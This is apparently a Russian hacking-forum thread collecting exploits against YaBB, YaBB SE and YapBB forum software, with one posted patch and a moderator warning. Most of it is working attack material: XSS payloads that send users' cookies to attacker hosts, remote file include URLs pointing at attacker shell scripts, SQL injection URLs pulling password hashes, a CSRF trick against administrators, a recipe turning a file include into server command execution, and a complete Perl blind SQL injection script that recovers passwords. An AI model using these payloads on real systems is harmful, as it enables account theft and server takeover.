Начнёмс.... YaBB 1 Gold Уязвимость в YaBB(http://www.yabb.org/) позволяет удаленному пользователю вставлять произвольный код сценария в страницы сообщения об ошибках. Уязвимость может использоваться для кражи опознавательных мандатов пользователей YaBB, хранящихся в куки. Пример: Code: [COLOR=White]http://some.site.com/cgi-bin/YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert()</script>[/COLOR] Описание:атакующий может сконструировать специальную ссылку, содержащую произвольный код сценария, при клике на которую код будет выполнен в браузере пользователя, кликнувшего на эту ссылку Пример: Code: [COLOR=White]http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display; num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d'%2b(document.cookie)%3b</Script>[/COLOR] YaBB 1.2 Пример: Code: [COLOR=White]http://site.com/yapBB/include/global.php?GLOBAL[includeBit]=1&cfgIncludeDirectory=http://attacer.com/[/COLOR] Код вставки : PHP: $dire="/home"; $ob=opendir("$dire"); while($filen=readdir($ob)){ $dire2=realpath("$dire"); if ( is_dir("dire2/$filen") == TRUE ){$d="[Dir]";} else {$d=NULL;} print "$d $filen ";} closedir($ob); ?> Видео:http://video.antichat.ru/download_183.html YaBB 1.3.2 Описание:Злонамеренный пользователь может опубликовать сообщение, содержащее изображение, которое ссылается на URL, используемый при выполнении административных действий. В результате административное действие будет автоматически выполнено, когда администратор читает сообщения форума. Пример: Code: [COLOR=White]http://[victim]/YaBB.pl?board=;action=modifycat;id=[cateogoryname];moda=Remove2[/COLOR] YaBB 1.4.0-1.4.1 Описание:Межсайтовый скрптинг обнаружен в сценарии входа в систему Пример: Code: [COLOR=White]http://example.com/forums/index.php? board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORD<script> window.location.href(%22http://www.attackersite.example.com/hack.asp?%22%2Bdocument.cookie)</script>[/COLOR] Code: [COLOR=White]http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display; num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d' %2b(document.cookie)%3b</Script>[/COLOR] SQL Описание:Проблема обнаружена в сценарии Reminder.php. Code: [COLOR=White]http://www.myserver.com/yabbse/Reminder.php? searchtype=esearch&user=[yourusername]'%20or%20memberName='[otherusername][/COLOR] YaBB SE 1.5.1 Описание:Удаленный пользователь может выполнить XSS нападение. Пример: Code: [COLOR=White][glow=red);background:url(javascript:alert(document.cookie));filter:glow(color=red,2,300]Big Exploit[/glow] [shadow=red);background:url(javascript:alert(document.cookie));filter:shadow(color=red,left,300]Big Exploit[/shadow][/COLOR] YaBB SE 1.5.5c Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии Sources/Profile.php Возможность выполнять SQL команды в базе данных: Пример: Code: [COLOR=White]http://[host]/index.php?board=&action=viewprofile&user=[code][/COLOR] YaBB SE 1.5.4, 1.5.5 Описание: Уязвимость обнаружена в параметре 'quote' Пример: Code: [COLOR=White]http://localhost:8080/yabbse//inde x.php?board=1;sesc=13a478d8aa161c2231e6d3b36b6d19f2;action=post;threadid=1;title=Post+reply; quote=-12)+UNION+SELECT+passwd,null,null,null,null,null,null,null,null+FROM+ yabbse_members+where+ID_ME[/COLOR] YaBB SE 1.5.4, 1.5.3 Описание: Уязвимость обнаружена в YaBB SE в 'SSI.php'. Пример: Code: [COLOR=White]http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2) +LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+ lmr.ID_MEN+SELECT+ID_MEMBER,+ memberName,null,passwd,null,passwd,null,null,null,null,null,null+ FROM+yabbse_members+/*[/COLOR] Code: [COLOR=White]http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER =1+OR+1=1) +LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_ME ull,null+FROM+yabbse_members+/*[/COLOR] Code: [COLOR=White]http://[target]/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2)+GROUP+BY+readBy+UNION+SELECT+ASCII(SUBSTRING(realName,1,1)+)+[/COLOR] Эксплоит: http://kolokol.ho.com.ua/exploit YaBB 2 XSS Позволяет украсть куки пользователей. Code: [COLOR=White][U*L]http://www.[U*L=http://wj.com/style=display:none;background:url(javascript:docum ent.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;) ]wj[/U*L][/U*L][/COLOR] YaBB SE SQL Error + XSS(passive 3шт.) Code: [COLOR=White]http://site/forum/index.php?board='[/COLOR] Code: [COLOR=White]http://site/forum/index.php?board=1;action=display;threadid='[/COLOR] Code: [COLOR=White]http://site/forum<script>alert()</script>[/COLOR] Code: [COLOR=White]http://site/forumindex.php?board=1;action=icqpager;UIN=<script>alert()</script>[/COLOR] Code: [COLOR=White]http://site/forumindex.php?board=1;action=post;threadid=1;quot e=2;title=net</title><script>alert("hacked%20by")</script>[/COLOR] (меняем заголовок страницы на "net" и закрывает тэг заголовка. так мы не светимся. а дальше скрипт для сниффера - как всегда) Описание:Файл 'Packages.php' включает сценарий 'Packer.php Пример: Code: [COLOR=White]http://[target]/yabbse/Sources/Packages.php?sourcedir=http://attacker/[/COLOR] P/s:Думаю полезно будет почитать И неругайтесь сильно
*************Внимание - Внимание***************** Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение. *************Внимание - Внимание***************** *************Attention - Attention***************** Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning *************Attention - Attention*****************
YaBBSM 3.0.0 (Offline.php) Remote File Include Vulnerability Code: [DESCRIPTION] Remote file include vuln found by sZ [oct 09, 2006] [SOFTWARE] Supermod 3.0 for yabb [VENDOR URL] http://www.supermod.org [DORK] YaBBSM V2.5.0 // Powered by YaBBSM V2.5.0 Based on YABB SE [NOTES] greetz to: neo-vortex, sk0tie, icez, Solano College CIS students. VULN: Offline.php include("$sourcedir/pclzip.lib.php"); They forgot to include settings.php, this file seems to not exist sometimes. VULN: Sources/Admin.php include_once("$sourcedir/Recent.php"); VULN: Sources/Offline.php include_once("$sourcedir/Recent.php"); VULN: content/portalshow.php include_once "$sourcedir/Calendar.php"; [EXAMPLE] http://site.com/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt? # milw0rm.com [2006-10-13]
YaBB YaBB.pl IMSend Cross-Site Scripting Vulnerability Code: http://www.example.com/YaBB.pl?board=;action=imsend;to=%22%3E%3Cscript%3Ealert(document .cookie)%3C/script%3E
_http://www.securitylab.ru/vulnerability/298015.php 21 июня, 2007 Программа: YaBB 2.1, возможно более ранние версии. Опасность: Низкая Наличие эксплоита: Нет Описание: Уязвимость позволяет локальному пользователю повысить свои привилегии на системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "userlanguage" в сценарии YaBB.pl. Злоумышленник может просмотреть содержимое определенных файлов на системе. Для удачной эксплуатации уязвимости злоумышленнику требуется валидная учетная запись в приложении а также консоль или доступ по FTP к системе. ====== Может найдется желающий разобраться как работет баг и довести дело до конца(всмысле до эксплоита)?
Дополнение к предыдущему посту - Local File Include Vulnerabilities in YaBB <= 2.1 Уязвимость присутствует в переменной $language, которую пользователь может менять в своем профиле. Уязвимые скрипты, содержащие переменную $language: Sources/HelpCentre.pl, строка 139 Code: if (-e ("$helpfile/$language/$help_area/$line.help")) { require "$helpfile/$language/$help_area/$line.help"; } Sources/Subs.pl, строка 1529 Code: if (-e "$langdir/$use_lang/$what_to_load.lng") { require "$langdir/$use_lang/$what_to_load.lng"; } Sources/ICQPager.pl, строка 21 Code: if ($language) { require "$langdir/$language/ICQ.lng"; } Sources/Post.pl, строка 1838 Code: if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; } Sources/Post.pl, строка 1863 Code: if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; } Sources/Post.pl, строка 1880 Code: if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; } Sources/InstantMessage.pl, строка 1080 Code: if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/InstantMessage.lng"; } Sources/InstantMessage.pl, строка 1082 Code: if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/Main.lng"; } Exploit Как было указано в предыдущем посте, для успешной эксплуатации уязвимости необходим доступ по FTP или SSH. Нужно изменить содержимое файла English/HelpCentre.lng с: Code: %helptxt = ( '1' => "Help Section", '2' => "Contents", на: Code: $content="<br><br><br><br><font color=red>"; $content.=`$INFO{[COLOR=Red]'cmd'[/COLOR]}`; $content. ="</font><br><br><br><br>"; %helptxt = ( '1' => "Help Section", '2' => $content, Далее в профиле пользователя меняем значение параметра 'userlanguage' на: "../../путь/до/папки/English/" С помощью браузера переходим в раздел "Help": http://site.com/yabb2/YaBB.pl?action=help С помощью дописанной нами переменной 'cmd' можно выполнять произвольные команды на сервере: http://site.com/yabb2/YaBB.pl?action=help&cmd=id http://site.com/yabb2/YaBB.pl?action=help&cmd=uname% 20-a и т.п. Патч Для исправления уязвимости необходимо ввести фильтрацию переменной 'userlanguage' в модуле профиля пользователя. Для этого вносим изменения в код скрипта Sources/Profile.pl, строка 1225: этот кусок кода Code: if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\: \+\?\$\&\~\.\,\@[COLOR=Red]/[/COLOR]]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); } меняем на: Code: if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\: \+\?\$\&\~\.\,\@]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); } Теперь в переменной 'userlanguage' будет фильтоваться символ /, что предотвратит возможность инклуда.
YaBB SE <= 1.5.5 Remote Command Execution Remote Command Execution Vulnerable: YaBB SE <= 1.5.5 Exploit: http://milw0rm.com/exploits/4963
YapBB <= 1.2 Blind SQL Injection Exploit Code: #!/usr/bin/perl use strict; use warnings; use IO::Socket; sub usage { die "\nYapBB <= 1.2 Blind SQL Injection Exploit". "\n[?] Author : darkjoker". "\n[?] Site : http://darkjoker.net23.net". "\n[?] CMS Site: http://yapbb.sourceforge.net/". "\n[?] Usage : perl ${0} <hostname> <path> <username> [<key_list>]". "\n[?] Ex. : perl ${0} localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; } sub query { my ($user, $chr, $pos) = @_; my $query = "123 OR IF ((ASCII(SUBSTRING((SELECT password FROM ". "forum_user WHERE nickname = '${user}'),${pos},1))=${chr}),BENCHMARK(200000000,CHAR(0)),0)"; $query =~ s/ /%20/g; $query =~ s/'/%27/g; return $query; } sub exploit { my ($hostname, $path, $user, $chr, $pos) = @_; $chr = ord ($chr); my $sock = new IO::Socket::INET ( PeerHost => $hostname, PeerPort => 80, Proto => "tcp" ) or die "\n[!] Exploit failed.\n\n"; my $query = query ($user, $chr, $pos); my $request = "GET ${path}/forumhop.php?action=next&forumID=${query} HTTP/1.1\r\n". "Host: ${hostname}\r\n". "Connection: Close\r\n\r\n"; my $a = time (); print $sock $request; $_++ while (<$sock>); $a = ($a - time ()) * -1; close ($sock); return 1 if ($a > 4); return 0; } my ($hostname, $path, $user, $k_list) = @ARGV; usage unless ($user); my @key = split ("", ($k_list) ? $k_list : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"); my $chr = 0; my $pos = 1; my $password; while ($chr < scalar (@key)) { if (exploit ($hostname, $path, $user, $key [$chr], $pos)) { $password .= $key [$chr]; $chr = 0; $pos++; } else { $chr++; } } print "\n[+] Password: ${password}\n\n";
SQL INJECTION Vulnerable: YaBB SE <= 1.5.5 Code: localhost/forum/Sources/search.php?seenform=article&userName=Guest&path=&text=1+OR+1=[COLOR=DarkRed]EVIL[/COLOR]/* (c) eclipse